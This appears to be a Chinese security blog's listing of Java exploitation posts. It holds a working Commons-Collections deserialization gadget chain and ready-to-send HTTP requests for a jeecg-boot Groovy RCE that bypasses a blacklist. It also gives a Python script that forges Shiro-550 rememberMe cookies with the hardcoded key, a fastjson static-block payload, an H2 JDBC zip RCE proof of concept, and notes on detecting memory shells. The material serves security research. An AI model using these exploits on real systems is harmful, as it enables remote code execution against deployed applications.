        ChainedTransformer Transformerchain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"calc"})});
        HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap,Transformerchain);
        TiedMapEntry tiedmap = new TiedMapEntry(map,123);
        BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc,tiedmap);
        return poc;
    }
    public static void main(String[] args) throws Exception {
        payload2File(generatePayload(),"obj");
        payloadTest("obj");
    }
    public static void payload2File(Object instance, String file)
            throws Exception {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file));
        out.writeObject(instance);
        out.flush();
        out.close();
    }
    public static void payloadTest(String file) throws Exception {
        ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
        in.readObject();
        in.close();
    }
}

利用链

Mon, 01 Jan 0001 00:00:00 +0000

jeecg-boot V3.9.2 airag:flow:add后台RCE分析#

https://github.com/jeecgboot/JeecgBoot/issues/9691

该漏洞源于AI Flow 模块支持 Groovy 脚本执行，而后端的黑名单过滤可被特殊payload绕过，造成任意代码执行

POC#

增加一个可以执行groovy代码的恶意工作流

POST /jeecg-boot/airag/flow/add HTTP/1.1
Host: localhost:8080
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Type: application/json
x-access-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiY2xpZW50VHlwZSI6IlBDIiwiZXhwIjoxNzgxMjk1MDUyfQ.yfk9sZDZycWg7DsbdLF3gt_hbI1YqbqtrT5mVMNM5Po
Content-Length: 518

{"name": "poc_runtime_exec", "chain": "THEN(code_node_1)", "design": "{\"nodes\": [{\"id\": \"code_node_1\", \"type\": \"code\", \"properties\": {\"text\": \"poc\", \"nodeId\": \"code_node_1\", \"options\": {\"codeType\": \"groovy\", \"code\": \"rt = java.lang.\\\"Runtime\\\".getRuntime(); cmd = [\\\"cmd.exe\\\",\\\"/c\\\",\\\"calc\\\"] as String[]; m = rt.getClass().getMethod(\\\"ex\\\"+\\\"ec\\\", cmd.getClass()); m.invoke(rt, [cmd] as Object[])\"}, \"inputParams\": [], \"outputParams\": []}}], \"edges\": []}"}

执行该工作流

POST /jeecg-boot/airag/flow/run HTTP/1.1
Host: localhost:8080
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 80

{"flowId": "2066402414281363458", "inputParams": {}, "responseMode": "blocking"}

代码分析#

增加工作流#

controller代码位于org.jeecg.modules.airag.flow.c.a，锁定关键函数this.airagFlowService.addFlow(airagFlow);，跟进方法a

Mon, 01 Jan 0001 00:00:00 +0000

shiro550利用链分析#

shiro550的介绍就不多说了，就是因为AES加密密钥被硬编码（默认值为kPH+bIxk5D2deZiIxcaaaA==）。导致攻击者可以利用此密钥构造恶意的序列化数据，伪造rememberMe Cookie，从而执行任意代码。

本篇文章主要讲一下shiro的利用链，目前我所知道的有

cc3的改造链，需要commons-collections3的依赖
cb原生链，无需其他依赖

两条链都可以分析下，实战中cb链是最好的，因为你也不知道目标环境有没有commons-collections3的依赖

这里的shiro环境我用的是P神的，搭建过程略过

https://github.com/phith0n/JavaThings/tree/master/shirodemo

tomcat启动后可能会加载不出来样式，jsdelivr的缘故，影响不大，burp抓包就行。

cc3改造链#

先确保pom.xml存在commons-collections3的依赖

学习这条链之前首先要明白为什么叫cc3的改造链。之前的反序列化文章提到cc6是最通用的一条链，然而在你尝试使用cc6去打时，会发现并没有弹出计算器。

给出生成shiro rememberMe字段的python代码，file_path写序列化出来的文件路径

import base64
import uuid
from Crypto.Cipher import AES


def get_file_data(filename):
    with open(filename, 'rb') as file:
        data = file.read()
    return data


def aes_encrypt_data(data, key):
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    cipher = AES.new(base64.b64decode(key), mode, iv)
    ciphertext = base64.b64encode(iv + cipher.encrypt(pad(data)))
    return ciphertext


if __name__ == "__main__":
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    file_path = r"obj.ser"

    data = get_file_data(filename=file_path)
    payload = aes_encrypt_data(data=data, key=key)
    print(payload)

生成cookie后发送，查看tomcat运行日志，你会得到这样一个错误

Mon, 01 Jan 0001 00:00:00 +0000

Springboot任意文件写入RCE探索#

springboot环境下的任意文件写入，在pom.xml中没有引入解析jsp的情况下，只能依靠上传jar包或class字节码文件来进行RCE，大多是为了权限维持。而这篇文章我想讲的并不是权限维持，而是getshell。如果想getshell，就必须知道服务器jdk的绝对路径和服务启动的绝对路径，这一点就足够让师傅们挠头了，还不说需要一个任意文件写入漏洞。

charsets.jar#

charsets.jar应该都听说过，核心原理是覆盖JAVA_HOME/jre/lib/charsets.jar，由于懒加载机制，当项目代码中没有调用到charsets.jar相关类时，在项目启动时jvm不会主动加载它。所以可以先用恶意jar包覆盖jdk目录下的charsets.jar，然后在header头中添加Accept: text/html;charset=GBK，此时jvm发现了新的字符编码，就会去jdk目录加载charsets.jar，从而触发恶意代码。但如果项目中使用到了charsets.jar相关类或调用了相关方法，这种方法就失效了

https://github.com/LandGrey/spring-boot-upload-file-lead-to-rce-tricks

nashorn.jar#

这个jar包RCE很特殊，google了下都没有找到相关的利用文章，只有这篇文章提到了，所以便来探索下可行性

https://flowerwind.github.io/2025/02/28/%E5%88%86%E4%BA%AB%E4%B8%80%E6%AC%A1%E7%BB%84%E5%90%88%E6%BC%8F%E6%B4%9E%E6%8C%96%E6%8E%98%E6%8B%BF%E4%B8%8B%E7%9B%AE%E6%A0%87/

这个jar包的RCE和charsets.jar的原理类似，都是通过jvm懒加载机制来加载我们的恶意代码，但是触发方式有所变化，nashorn.jar可以通过fastjson来触发（autotype关闭的情况下）。

而fastjson高版本的autotype都是默认关闭的，我们无法调用白名单外的类的任意setter或getter。

随意写一个User类，这里用fastjson1.2.83版本，直接尝试解析是会报错的

PoC = "{\"@type\":\"fastjsonGadget.User\",\"name\":\"123\", \"age\":\"23\"}\n";
System.out.println(JSON.parseObject(PoC));

但@JSONType注解可以绕过这个限制，此时我们在static静态代码块加入恶意代码

package fastjsonGadget;

import com.alibaba.fastjson.annotation.JSONType;

@JSONType
public class User {
    private String name;
    private int age;

    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {}
    }
    public User() {
        System.out.println("调用了无参构造方法");
    }

    @Override
    public String toString() {
        return "User{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }

    public User(String name, int age) {
        this.name = name;
        this.age = age;
        System.out.println("调用了有参构造方法");
    }
}

Mon, 01 Jan 0001 00:00:00 +0000

内存马查杀学习记录#

实验环境#

针对tomcat部署war包的项目

首先自己创建一个maven项目，包含文件上传（不做安全过滤，之后好上传jsp马），打包成war包部署到linux tomcat服务器并启动。

我在最近的学习当中发现工具注入的内存马可以分为两类，一类是servlet、filter、listener等等的普通内存马，还有一类是agent，通过hook jar包源码，例如冰蝎通过污染javax.servlet.http.HttpServlet类来实现内存马注入。

哥斯拉内存马#

这里用哥斯拉工具注入的内存马进行研究

首先项目先搭建起来，先上传一个哥斯拉的jsp马，然后注入内存马

第一个内存马注入功能是在filtershell这里，点击add即可添加filter内存马

这类内存马的查杀可以用到https://github.com/ruyueattention/java-memshell-scanner工具，使用jsp脚本排查内存马

将tomcat_memshell_scanner.jsp上传到服务器uploads目录下，访问该文件即可查看到检测结果

可以看到filter这一栏存在可疑的classloader org.apache.coyote.ser.BeanPropertyWriter，并且磁盘无class文件，这便是我们刚刚哥斯拉注入的内存马。直接杀掉即可。

另一种是memoryshell添加

通过memshell_scanner仍然可以发现，直接杀掉

杀掉后无法连接

然后我们再用其他师傅写的自动注入内存马的jsp脚本试试

jsp脚本注入内存马#

这里通过三个jsp脚本分别注入Servlet、Filter、Listener类型的内存马，访问jsp文件后即注入成功

然后通过memshell_scanner查看

可以看到某些类的class文件含有$符号，为匿名字节码，并且生成在uploads文件夹下，很容易便判断出是内存马，如果不放心也可以dump下来分析代码

但是这里的listener似乎杀不掉，可以看到仍可以执行命令

dump下来后可以看到确实是恶意代码

后来发现是工具缺陷，issues有人提过，listener型的内存马杀不掉

冰蝎内存马#

冰蝎内存马利用 instrument 机制，在不增加新类和新方法的情况下，对现有类的执行逻辑进行修改实现的内存马。

这类内存马实现方式比较多，检测比较困难，copagent 和 memershell 都无法监测冰蝎 4 注入的内存马。

因此这里我们用 arthas 去分析，主要关注的其实是 agent 内存马常改的一些类。

javax.servlet.http.HttpServlet

org.apache.tomcat.websocket.server.WsFilter

org.apache.catalina.core.ApplicationFilterChain

其中冰蝎内存马通过修改 javax.servlet.http.HttpServlet#service 方法，添加自己的处理逻辑，也就是内存马。

使用arthas反编译javax.servlet.http.HttpServlet类，查看代码是否被更改

可以看到这个类已经被修改过了

这里使用https://github.com/Garck3h/killBehinderMemShell工具来进行冰蝎内存马的查杀

Mon, 01 Jan 0001 00:00:00 +0000

由DataEase漏洞引出的另一种H2 JDBC RCE#

漏洞原文

https://github.com/dataease/dataease/security/advisories/GHSA-cjmg-jqmc-xj5v

当时看到这个漏洞wp很诧异，h2居然还能解析zip中的db文件

本地测试#

然后我马上在我本地尝试了一下

      <dependency>
          <groupId>com.h2database</groupId>
          <artifactId>h2</artifactId>
          <version>2.2.220</version>
      </dependency>

测试代码如下

package JDBC;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.Statement;

public class H2JDBC {
    public static void main(String[] args) throws Exception {
        genh2db();
        String url = "jdbc:h2:zip:/path/to/h2test.zip!/test";
        Connection conn = DriverManager.getConnection(url, "sa", "");
        Statement stmt = conn.createStatement();
        String sql = "SELECT INVOKE('calc')";
        ResultSet rs = stmt.executeQuery(sql);
        if (rs.next()) {
            System.out.println("执行结果: " + rs.getString(1));
        }
    }
    public static void genh2db() throws Exception{
        String url = "jdbc:h2:./test";
        Connection conn = DriverManager.getConnection(url, "sa", "");
        Statement stmt = conn.createStatement();

        String payload = "CREATE ALIAS IF NOT EXISTS INVOKE AS '" +
                "String java_exec(String cmd) throws Exception { " +
                "Runtime.getRuntime().exec(cmd); return \"done\"; }'";

        stmt.execute(payload);

        stmt.close();
        conn.close();
        System.out.println("test.mv.db文件已成功生成");
    }
}

genh2db方法会生成test.mv.db文件，生成后将其压缩为zip文件，然后通过jdbcurl进行连接。这里的默认用户名sa必须写，不然会抛出Wrong username or password的异常